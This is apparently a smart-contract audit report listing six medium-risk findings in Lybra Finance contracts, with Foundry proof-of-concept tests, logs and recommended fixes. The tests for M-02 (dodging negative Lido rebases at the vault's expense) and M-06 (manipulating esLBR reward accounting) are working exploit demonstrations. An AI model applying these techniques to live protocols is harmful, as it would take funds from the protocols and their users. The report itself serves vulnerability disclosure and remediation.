LybraFinance confirmed

Medium Risk Findings (23)

[M-01] Wrong proposalThreshold amount in LybraGovernance.sol

Submitted by devival

The proposal can be created with only 100_000 esLBR delegated instead of 10_000_000.

Proof of Concept

According to LybraV2Docs, a proposal can only be created if the sender has at least 10 million esLBR tokens delegated to their address to meet the proposal threshold.

In LybraGovernance.sol#L172-L174, the proposal threshold is set to only 1e23 which equals to 100_000 as esLBR has 18 decimals.

    function proposalThreshold() public pure override returns (uint256) {
        return 1e23;
    }

Tools Used

Manual Review

Recommended Mitigation Steps

In LybraGovernance.sol#L173 replace 1e23 with 1e25

Alternatively, the team can update the documentation stating that it is only required 100_000 esLBR tokens (0.1% of the total LBR supply) delegated to meet the proposal threshold.

Assessed type

Math

LybraFinance confirmed

[M-02] Exploiter can avoid negative Lido rebases stealing funds from EUSD vaults

Submitted by georgypetrov, also found by 3agle, 0xRobocop, and max10afternoon

Lybra keeps the exact amount of collateral as deposited ignoring any lido rebases.

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L79
https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraEUSDVaultBase.sol#L103

That allows malicious users to sandwich negative rebase transactions with depositing and withdrawing their stETH saving the exact amount as before negative rebase. The user can wait for 3 days or have a fee discount using rigidRedemption of self, which it makes applicable to a fee (safeCollateralRatio - 100) / safeCollateralRatio * redemptionFee part of the deposit.

Impact

The protocol will have additional losses in that case because the negative rebase decreases the cost of stETH share and the protocol withdraws the same amount of stETH as deposited to the malicious user, transferring more shares than deposited.

Proof of Concept

Should be launched with mainnet fork:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {LybraProxy} from "@lybra/Proxy/LybraProxy.sol";
import {LybraProxyAdmin} from "@lybra/Proxy/LybraProxyAdmin.sol";
// import {AdminTimelock} from "@lybra/governance/AdminTimelock.sol";
import {GovernanceTimelock} from "@lybra/governance/GovernanceTimelock.sol";
// import {LybraWBETHVault} from "@lybra/pools/LybraWbETHVault.sol";
import {esLBR} from "@lybra/token/esLBR.sol";
import {LybraWstETHVault} from "@lybra/pools/LybraWstETHVault.sol";
// import {LybraRETHVault} from "@lybra/pools/LybraRETHVault.sol";
// import {PeUSD} from "@lybra/token/PeUSD.sol";
import {esLBRBoost} from "@lybra/miner/esLBRBoost.sol";
import {LBR} from "@lybra/token/LBR.sol";
import {LybraStETHDepositVault} from "@lybra/pools/LybraStETHVault.sol";
// import {StakingRewardsV2} from "@lybra/miner/stakerewardV2pool.sol";
// import {LybraGovernance} from "@lybra/governance/LybraGovernance.sol";
import {PeUSDMainnet} from "@lybra/token/PeUSDMainnetStableVision.sol";
import {ProtocolRewardsPool} from "@lybra/miner/ProtocolRewardsPool.sol";
// import {EUSD} from "@lybra/token/EUSD.sol";
import {Configurator} from "@lybra/configuration/LybraConfigurator.sol";
import {EUSDMiningIncentives} from "@lybra/miner/EUSDMiningIncentives.sol";
// import {LybraEUSDVaultBase} from "@lybra/pools/base/LybraEUSDVaultBase.sol";
// import {LybraPeUSDVaultBase} from "@lybra/pools/base/LybraPeUSDVaultBase.sol";
import {mockChainlink} from "@mocks/chainLinkMock.sol";
import {stETHMock} from "@mocks/stETHMock.sol";
import {EUSDMock} from "@mocks/mockEUSD.sol";
import {mockCurve} from "@mocks/mockCurve.sol";
import {mockUSDC} from "@mocks/mockUSDC.sol";
import {mockLBRPriceOracle} from "@mocks/mockLBRPriceOracle.sol";

/* remappings used
@lybra=contracts/lybra/
@mocks=contracts/mocks/
 */
contract LybraV2Test is Test {
    address goerliEndPoint = 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23;

    LybraProxy proxy;
    LybraProxyAdmin admin;
    // AdminTimelock timeLock;
    GovernanceTimelock govTimeLock;
    // LybraWbETHVault wbETHVault;
    // esLBR lbr;
    // LybraWstETHVault stETHVault;
    mockChainlink oracle;
    mockLBRPriceOracle lbrOracleMock;
    esLBRBoost eslbrBoost;
    mockUSDC usdc;
    mockCurve curve;
    Configurator configurator;
    LBR lbr;
    esLBR eslbr;
    EUSDMock usd;
    EUSDMiningIncentives eusdMiningIncentives;
    ProtocolRewardsPool rewardsPool;
    LybraStETHDepositVault stETHVault;
    PeUSDMainnet peUsdMainnet;
    address owner = address(7);
    // admins && executers of GovernanceTimelock
    address[] govTimelockArr;
    address stETHWhale = 0x1982b2F5814301d4e9a8b0201555376e62F82428;
    IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
    address exploiter = address(0x1);

    function setUp() public {
        vm.startPrank(owner);
        oracle = new mockChainlink();
        lbrOracleMock = new mockLBRPriceOracle();
        govTimelockArr.push(owner);
        govTimeLock = new GovernanceTimelock(
            1,
            govTimelockArr,
            govTimelockArr,
            owner
        );
        eslbrBoost = new esLBRBoost();
        usdc = new mockUSDC();
        curve = new mockCurve();
        //  _dao , _curvePool
        configurator = new Configurator(address(govTimeLock), address(curve));
        // _config , _sharedDecimals , _lzEndpoint
        lbr = new LBR(address(configurator), 8, goerliEndPoint);
        // _config
        eslbr = new esLBR(address(configurator));
        // _config
        usd = new EUSDMock(address(configurator));

        configurator.initToken(address(usd), address(peUsdMainnet));
        // _config, _boost, _etherOracle, _lbrOracle
        eusdMiningIncentives = new EUSDMiningIncentives(
            address(configurator),
            address(eslbrBoost),
            address(oracle),
            address(lbrOracleMock)
        );
        // _config
        rewardsPool = new ProtocolRewardsPool(address(configurator));
        
        // _config, _stETH, _oracle
        stETHVault = new LybraStETHDepositVault(
            address(configurator),
            address(stETH),
            address(oracle)
        );
        // _config, _sharedDecimals, _lzEndpoint
        peUsdMainnet = new PeUSDMainnet(
            address(configurator),
            8,
            goerliEndPoint
        );

        curve.setToken(address(usd), address(usdc));
        configurator.setMintVault(address(stETHVault), true);
        configurator.setPremiumTradingEnabled(true);
        configurator.setMintVaultMaxSupply(
            address(stETHVault),
            10_000_000_000 ether
        );
        configurator.setBorrowApy(address(stETHVault), 200);
        configurator.setEUSDMiningIncentives(address(eusdMiningIncentives));
        eusdMiningIncentives.setToken(address(lbr), address(eslbr));
        rewardsPool.setTokenAddress(
            address(eslbr),
            address(lbr),
            address(eslbrBoost)
        );

        // Missing configurator.initEUSD(this.EUSDMock.address) as initEUSD in configurator does not exist.
        // And it's not same as initToken. 
        vm.stopPrank();

        vm.startPrank(stETHWhale);
        stETH.approve(address(stETHVault), 1_000_000e18);
        stETHVault.depositAssetToMint(100_000e18, 0);
        stETH.transfer(exploiter, 1000e18);
        vm.stopPrank();
    }
    
    function negativeRebaseLido() internal {
        bytes32 BUFFERED_ETHER_POSITION =
            0xed310af23f61f96daefbcd140b306c0bdbf8c178398299741687b90e794772b0; // keccak256("lido.Lido.bufferedEther");
        vm.store(address(stETH), BUFFERED_ETHER_POSITION, bytes32(0));
    }

    function testV2AvoidingRebaseLossesWithRigid() public {
        console.log("lybra balance before rebase: ", stETH.balanceOf(address(stETHVault)));
        uint256 exploiterBalance = stETH.balanceOf(exploiter);
        vm.startPrank(exploiter);
        stETH.approve(address(stETHVault), exploiterBalance);
        console.log("exploiter balance before rebase: ", stETH.balanceOf(exploiter));
        uint256 toBorrow = exploiterBalance * oracle.fetchPrice() * 100 / configurator.getSafeCollateralRatio(address(stETHVault));
        stETHVault.depositAssetToMint(exploiterBalance, toBorrow);
        
        negativeRebaseLido();
        
        configurator.becomeRedemptionProvider(true);
        stETHVault.rigidRedemption(exploiter, toBorrow);
        stETHVault.withdraw(exploiter, stETHVault.depositedAsset(exploiter));
        console.log("exploiter balance after rebase: ", stETH.balanceOf(exploiter));
        console.log("lybra balance after rebase: ", stETH.balanceOf(address(stETHVault)));
        vm.stopPrank();
    }

        function testV2AvoidingRebaseLossesWaitFor3Days() public {
        console.log("lybra balance before rebase: ", stETH.balanceOf(address(stETHVault)));
        uint256 exploiterBalance = stETH.balanceOf(exploiter);
        vm.startPrank(exploiter);
        stETH.approve(address(stETHVault), exploiterBalance);
        console.log("exploiter balance before rebase: ", stETH.balanceOf(exploiter));
        stETHVault.depositAssetToMint(exploiterBalance, 0);
        negativeRebaseLido();

        vm.warp(block.timestamp + 3 days);
        stETHVault.withdraw(exploiter, exploiterBalance);
        console.log("exploiter balance after rebase: ", stETH.balanceOf(exploiter));
        console.log("lybra balance after rebase: ", stETH.balanceOf(address(stETHVault)));
        vm.stopPrank();
    }

    function testV2NormalRebaseLosses() public {
        console.log("lybra balance before rebase: ", stETH.balanceOf(address(stETHVault)));
        console.log("exploiter balance before rebase: ", stETH.balanceOf(exploiter));
        negativeRebaseLido();
        console.log("exploiter balance after rebase: ", stETH.balanceOf(exploiter));
        console.log("lybra balance after rebase: ", stETH.balanceOf(address(stETHVault)));
    }
}

Running 3 tests for test/LybraV2.sol:LybraV2Test
[PASS] testV2AvoidingRebaseLossesWaitFor3Days() (gas: 166689)
Logs:
  lybra balance before rebase:  99999999999999999999999
  exploiter balance before rebase:  1000000000002315874593
  exploiter balance after rebase:  1000000000002315874593
  lybra balance after rebase:  99904387650376337889471

[PASS] testV2AvoidingRebaseLossesWithRigid() (gas: 393436)
Logs:
  lybra balance before rebase:  99999999999999999999999
  exploiter balance before rebase:  1000000000002315874593
  exploiter balance after rebase:  999621875002314998902
  lybra balance after rebase:  99904765775376338765162

[PASS] testV2NormalRebaseLosses() (gas: 74877)
Logs:
  lybra balance before rebase:  99999999999999999999999
  exploiter balance before rebase:  1000000000002315874593
  exploiter balance after rebase:  999053343075346752371
  lybra balance after rebase:  99905334307303307011693

Tools Used

Foundry, mainnet forking.

Recommended Mitigation Steps

Need to handle losses in a different way, rather than just waiting for positive rebases to cover losses or deprecate rebase collateral vaults.

0xean (judge) commented:

@LybraFinance - this one is slightly unique and I believe incorrectly duped. Your response may be the same, but wanted to have you take a look.

LybraFinance acknowledged and commented:

We chose to ignore the negative change of rebase.

0xean (judge) decreased severity to Medium

[M-03] Impossibility to change safeCollateralRatio

Submitted by georgypetrov, also found by Kenshin, bart1e, DelerRH, pep7siup, ktg, SpicyMeatball, CrypticShepherd, and LuchoLeonel1

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/pools/base/LybraPeUSDVaultBase.sol#L18

Impact

Because of vaultType variable is internal vaultType staticcall to vaults from the configurator will revert, so it makes it impossible to change safeCollateralRatio. It may be critical when market conditions will change, something happens with ETH.

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {GovernanceTimelock} from "@lybra/governance/GovernanceTimelock.sol";
import {LybraStETHDepositVault} from "@lybra/pools/LybraStETHVault.sol";
import {Configurator} from "@lybra/configuration/LybraConfigurator.sol";
import {mockEtherPriceOracle} from "@mocks/mockEtherPriceOracle.sol";
import {mockCurve} from "@mocks/mockCurve.sol";

/* remappings used
@lybra=contracts/lybra/
@mocks=contracts/mocks/
 */
contract LybraV2SafeCollateral is Test {

    GovernanceTimelock govTimeLock;
    mockEtherPriceOracle oracle;
    mockCurve curve;
    Configurator configurator;
    LybraStETHDepositVault stETHVault;
    address owner = address(7);
    // admins && executers of GovernanceTimelock
    address[] govTimelockArr;
    IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);

    function setUp() public {
        vm.startPrank(owner);
        oracle = new mockEtherPriceOracle();
        govTimelockArr.push(owner);
        govTimeLock = new GovernanceTimelock(
            1,
            govTimelockArr,
            govTimelockArr,
            owner
        );
        curve = new mockCurve();
        //  _dao , _curvePool
        configurator = new Configurator(address(govTimeLock), address(curve));

        stETHVault = new LybraStETHDepositVault(
            address(configurator),
            address(stETH),
            address(oracle)
        );
        vm.stopPrank();
    }

    function testSafeCollateral() public {
        vm.startPrank(owner);
        configurator.setSafeCollateralRatio(address(stETHVault), 165 * 1e18);
    }
    

}

Tools Used

Foundry

Recommended Mitigation Steps

Change getter function in LybraConfigurator:

interface IVault {
    function getVaultType() external view returns (uint8);
}
...
...
if(IVault(pool).getVaultType() == 0) {

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/configuration/LybraConfigurator.sol#L29

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/configuration/LybraConfigurator.sol#L199

Assessed type

DoS

LybraFinance confirmed

[M-04] The EUSDMiningIncentives contract is incorrectly implemented and can allow for more than the intended amount of rewards to be minted

Submitted by Toshii, also found by bytes032

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L132-L134
https://github.com/code-423n4/2023-06-lybra/blob/main/contracts/lybra/miner/EUSDMiningIncentives.sol#L136-L147

Impact

The EUSDMiningIncentives contract is intended to function similarly to the Synthetix staking rewards contract. This means the rewards per second, defined as rewardRatio, which is set in the notifyRewardAmount function, is supposed to be distributed to users as an equivalent percentage of how much the user has staked as compared to the total amount staked. In this contract, the total amount staked is equal to the total supply of EUSD tokens. However, the calculated amount staked PER user is equal to the total amount borrowed of tokens (EUSD and PeUSD) across ALL vaults. This means, the amount returned by the totalStaked function is wrong, as it should also include the total supply of all the vaults which are included in the pools array (EUSD and PeUSD). This will effectively result in much more than the intended amount of rewards to be minted, as the numerator (total amount of EUSD and PeUSD) across all users is much more than the denominator (total amount of EUSD).

Proof of Concept

First consider the stakedOf function, which sums up the borrowed amount across all vaults in the pools array (both EUSD and PeUSD):

function stakedOf(address user) public view returns (uint256) {
    uint256 amount;
    for (uint i = 0; i < pools.length; i++) {
        ILybra pool = ILybra(pools[i]);
        uint borrowed = pool.getBorrowedOf(user);
        if (pool.getVaultType() == 1) {
            borrowed = borrowed * (1e20 + peUSDExtraRatio) / 1e20;
        }
        amount += borrowed;
    }
    return amount;
}

Then consider the totalStaked function, which just returns the total supply of EUSD:

function totalStaked() internal view returns (uint256) {
    return EUSD.totalSupply();
}

The issue arrises in the earned function, which references both the stakedOf value and the totalSupply value:

function earned(address _account) public view returns (uint256) { // @note - read
    return ((stakedOf(_account) * getBoost(_account) * (rewardPerToken() - userRewardPerTokenPaid[_account])) / 1e38) + rewards[_account];
}

Here, stakedOf (which includes EUSD and PeUSD), is multiplied by a call to rewardPerToken minus the old user reward debt. This function has totalStaked() in the denominator, which is where this skewed calculation is occurring:

function rewardPerToken() public view returns (uint256) {
	...
	return rewardPerTokenStored + (rewardRatio * (lastTimeRewardApplicable() - updatedAt) * 1e18) / totalStaked();
}

This will effectively result in much more than the intended amount of rewards to be minted to the users, which will result in the supply of esLBR inflating much faster than intended.

Tools Used

Manual review

Recommended Mitigation Steps

The totalStaked function should be updated to sum up the totalSupply of EUSD and all the PeUSD vaults which are in the pools array.

Assessed type

Math

LybraFinance confirmed

[M-05] Invalid implementation of prioritized token rewards distribution

Submitted by DelerRH, also found by DelerRH, ayden, bart1e, bart1e, adeolu, No12Samurai, LaScaloneta, HE1M, pep7siup, pep7siup, RedTiger, RedTiger, and f00l

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/miner/ProtocolRewardsPool.sol#L190-L218

Vulnerability details

The getReward external function can’t calculate and distribute rewards correctly for an account because of the reasons below:

• Transferring EUSD while the contract EUSD balance is insufficient and reverting
• Bad implementation of prioritized token rewards distribution when converting reward decimal for transfer stablecoin

Impact

Users can’t get rewards and rewards freeze.

Proof of Concept

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

import {Test, console} from "forge-std/Test.sol";
import {GovernanceTimelock} from "contracts/lybra/governance/GovernanceTimelock.sol";
import {mockCurve} from "contracts/mocks/mockCurve.sol";
import {Configurator} from "contracts/lybra/configuration/LybraConfigurator.sol";
import {LybraWBETHVault} from "contracts/lybra/pools/LybraWbETHVault.sol";
import {PeUSDMainnet} from "contracts/lybra/token/PeUSDMainnetStableVision.sol";
import {ProtocolRewardsPool} from "contracts/lybra/miner/ProtocolRewardsPool.sol";
import {EUSDMock} from "contracts/mocks/MockEUSD.sol";
import {LBR} from "contracts/lybra/token/LBR.sol";
import {esLBR} from "contracts/lybra/token/esLBR.sol";
import {esLBRBoost} from "contracts/lybra/miner/esLBRBoost.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

// 6 decimal USDC mock
contract mockUSDC is ERC20 {
    constructor() ERC20("USDC", "USDC") {
        _mint(msg.sender, 1000000 * 1e6);
    }

    function claim() external returns (uint256) {
        _mint(msg.sender, 10000 * 1e6);
        return 10000 * 1e6;
    }

    function decimals() public view virtual override returns (uint8) {
        return 6;
    }
}

contract ProtocolRewardsPoolTest is Test {
    address goerliEndPoint = 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23;
    address wbETH = 0xbfD2135BFfbb0B5378b56643c2Df8a87552Bfa23;
    address deployer;
    address attacker;
    address alice;

    address[] proposers;
    address[] executors;
    address[] minerContracts;
    bool[] minerContractsBools;

    GovernanceTimelock governance;
    mockCurve curvePool;
    Configurator configurator;
    PeUSDMainnet peUsdMainnet;
    EUSDMock eUSD;
    mockUSDC usdc;
    LBR lbr;
    esLBR eslbr;
    esLBRBoost boost;
    LybraWBETHVault wbETHVault;
    ProtocolRewardsPool rewardsPool;

    function setUp() public {
        deployer = makeAddr("deployer");
        attacker = makeAddr("attacker");
        alice = makeAddr("alice");
        vm.startPrank(deployer);
        proposers.push(deployer);
        executors.push(deployer);
        governance = new GovernanceTimelock(2, proposers, executors, deployer);
        curvePool = new mockCurve();
        configurator = new Configurator(address(governance), address(curvePool));
        peUsdMainnet = new PeUSDMainnet(
            address(configurator),
            8,
            goerliEndPoint
        );
        eUSD = new EUSDMock(address(configurator));
        // 6 decimal USDC token
        usdc = new mockUSDC();
        lbr = new LBR(address(configurator), 8, goerliEndPoint);
        eslbr = new esLBR(address(configurator));
        boost = new esLBRBoost();
        rewardsPool = new ProtocolRewardsPool(address(configurator));
        rewardsPool.setTokenAddress(address(eslbr), address(lbr), address(boost));
        // Ether oracle has no impact on this test
        wbETHVault =
        new LybraWBETHVault(address(peUsdMainnet), makeAddr("NonImportantMockForEtherOracle"), wbETH, address(configurator));
        configurator.setMintVault(deployer, true);
        configurator.initToken(address(eUSD), address(peUsdMainnet));
        configurator.setProtocolRewardsPool(address(rewardsPool));
        configurator.setProtocolRewardsToken(address(usdc));
        curvePool.setToken(address(eUSD), address(usdc));

        // Set minters
        minerContracts.push(address(deployer));
        minerContracts.push(address(rewardsPool));
        minerContractsBools.push(true);
        minerContractsBools.push(true);
        configurator.setTokenMiner(minerContracts, minerContractsBools);

        // Fund curve pool eusd/usdc
        eUSD.mint(address(curvePool), 10000 * 1e18);
        usdc.transfer(address(curvePool), 10000 * 1e6);

        // Fund ALice
        lbr.mint(address(alice), 100 * 1e18);
        vm.stopPrank();
    }

    function test_canGetReward() public {
        // Alice stake LBR
        vm.startPrank(alice);
        rewardsPool.stake(100 * 1e18);
        assertEq(eslbr.balanceOf(alice), 100 * 1e18);
        vm.stopPrank();

        // Notify reward amount
        vm.startPrank(deployer);
        eUSD.mint(address(configurator), 3000 * 1e18);
        configurator.setPremiumTradingEnabled(true);

        uint256 eusdPreBalance = eUSD.balanceOf(address(configurator));
        configurator.distributeRewards();
        curvePool.setPrice(1010000);
        uint256 price = curvePool.get_dy_underlying(0, 2, 1e18);
        uint256 outUSDC = eusdPreBalance * price * 998 / 1e21;
        assertEq(eUSD.sharesOf(address(rewardsPool)), 0);
        assertEq(usdc.balanceOf(address(rewardsPool)), outUSDC);

        configurator.distributeRewards();
        vm.stopPrank();

        uint256 newRewardPerTokenstored =
            outUSDC * 1e36 / (10 ** ERC20(configurator.stableToken()).decimals()) / eslbr.totalSupply();

        assertEq(rewardsPool.rewardPerTokenStored(), newRewardPerTokenstored);
        assertEq(rewardsPool.earned(alice), eslbr.balanceOf(alice) * (newRewardPerTokenstored - 0) / 1e18);
        uint256 earnedUSDC = rewardsPool.earned(alice);

        vm.startPrank(alice);
        rewardsPool.getReward();
        // earnedUSDC / 1e12 -> Because rewardsPool.earned output has 18 decimal and USDC has 6 decimals
        assertEq(usdc.balanceOf(alice), earnedUSDC / 1e12);
        vm.stopPrank();
    }
}

Tools Used

Foundry

Assessed type

Math

0xean (judge) decreased severity to Medium

LybraFinance confirmed

[M-06] Allowing refreshReward() to fail during minting or buring esLBR could result in gain or loss previously earned reward

Submitted by Kenshin, also found by 0xNightRaven, Breeje, and totomanov

Lines of code

https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/token/esLBR.sol#L33
https://github.com/code-423n4/2023-06-lybra/blob/7b73ef2fbb542b569e182d9abf79be643ca883ee/contracts/lybra/token/esLBR.sol#L40

Impact

The esLBR balance of users plays the most important role in staking reward calculation. Using a try-catch statement over refreshReward() in the esLBR.mint() and esLBR.burn() functions can have the following effects when refreshReward() becomes unavailable:

• Users can mint more esLBR, then manually call refreshReward() afterward for the contract to record the earned reward with the increased esLBR balance of the users. This results in users receiving more rewards than they should.
• Users can be back run by a searcher or someone else calling refreshReward(victim) for the contract to record the earned reward with the decreased esLBR balance of the users. This results in users losing some of their rightful pending rewards that have not yet been recorded to the latest timestamp.

Proof of Concept

The following is the coded PoC using Foundry.

Note: This PoC creates a mock reward contract. It has the same logic as the real one, but with added setter functions that serve only to simplify the test flow.

File: test/esLBR.t.sol

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "contract/lybra/configuration/LybraConfigurator.sol";
import "contract/lybra/governance/GovernanceTimelock.sol";
import {esLBR} from "contract/lybra/token/esLBR.sol";

contract C4esLBRTest is Test {
    Configurator configurator;
    GovernanceTimelock govTimelock;
    mockProtocolRewardsPool rewardsPool;
    esLBR eslbr;

    address exploiter = address(0xfff);
    address victim = address(0xeee);

    function setUp() public {
        govTimelock = new GovernanceTimelock(0, new address[](0), new address[](0), address(0));
        configurator = new Configurator(address(govTimelock), address(0));
        rewardsPool = new mockProtocolRewardsPool();
        eslbr = new esLBR(address(configurator));

        rewardsPool.setTokenAddress(address(eslbr));

        address[] memory minter = new address[](1);
        minter[0] = address(this);
        bool[] memory minterBool = new bool[](1);
        minterBool[0] = true;
        configurator.setTokenMiner(minter, minterBool); // set this contract as the esLBR minter
        configurator.setProtocolRewardsPool(address(rewardsPool));

        eslbr.mint(exploiter, 100 ether);
        eslbr.mint(victim, 100 ether);
        rewardsPool.setRewardPerTokenStored(1);
    }

    function testMintFailRefreshReward() public {
        assertEq(eslbr.balanceOf(exploiter), eslbr.balanceOf(victim), "Should start with equal esLBR balance");
        assertEq(rewardsPool.earned(exploiter), rewardsPool.earned(victim), "Should start with equal rewards accrued");

        rewardsPool.setRewardPerTokenStored(2);

        eslbr.mint(victim, 100 ether); // refreshReward should pass
        rewardsPool.forceRevert(true); // Assume something occur, causing the refreshReward become unavailable
        eslbr.mint(exploiter, 100 ether);

        // Record earning rewards to latest rate
        rewardsPool.forceRevert(false);
        rewardsPool.refreshReward(exploiter);
        rewardsPool.refreshReward(victim);

        assertGt(rewardsPool.earned(exploiter), rewardsPool.earned(victim), "Exploiter should have more reward by this flaw");
    }

    function testBurnFailRefreshReward() public {
        assertEq(eslbr.balanceOf(exploiter), eslbr.balanceOf(victim), "Should start with equal esLBR balance");
        assertEq(rewardsPool.earned(exploiter), rewardsPool.earned(victim), "Should start with equal rewards accrued");

        rewardsPool.forceRevert(true); // Assume something occur, causing the refreshReward become unavailable
        eslbr.burn(victim, 100 ether); // The victim unstake during that time

        // Record earning rewards to latest rate
        rewardsPool.forceRevert(false);
        rewardsPool.refreshReward(exploiter);
        rewardsPool.refreshReward(victim);

        assertGt(rewardsPool.earned(exploiter), rewardsPool.earned(victim), "Victim should loss earned rewards by this flaw");
    }
}

contract mockProtocolRewardsPool {
    esLBR public eslbr;

    // Sum of (reward ratio * dt * 1e18 / total supply)
    uint public rewardPerTokenStored;
    // User address => rewardPerTokenStored
    mapping(address => uint) public userRewardPerTokenPaid;
    // User address => rewards to be claimed
    mapping(address => uint) public rewards;

    bool isForceRevert; // for mockup reverting on refreshreward

    function setTokenAddress(address _eslbr) external {
        eslbr = esLBR(_eslbr);
    }

    // User address => esLBR balance
    function stakedOf(address staker) internal view returns (uint256) {
        return eslbr.balanceOf(staker);
    }

    function earned(address _account) public view returns (uint) {
        return ((stakedOf(_account) * (rewardPerTokenStored - userRewardPerTokenPaid[_account])) / 1e18) + rewards[_account];
    }

    /**
     * @dev Call this function when deposit or withdraw ETH on Lybra and update the status of corresponding user.
     */
    modifier updateReward(address account) {
        if (isForceRevert) revert();
        rewards[account] = earned(account);
        userRewardPerTokenPaid[account] = rewardPerTokenStored;
        _;
    }

    function refreshReward(address _account) external updateReward(_account) {}

    function forceRevert(bool _isForce) external {
        isForceRevert = _isForce;
    }

    function setRewardPerTokenStored(uint value) external {
        rewardPerTokenStored = value;
    }
}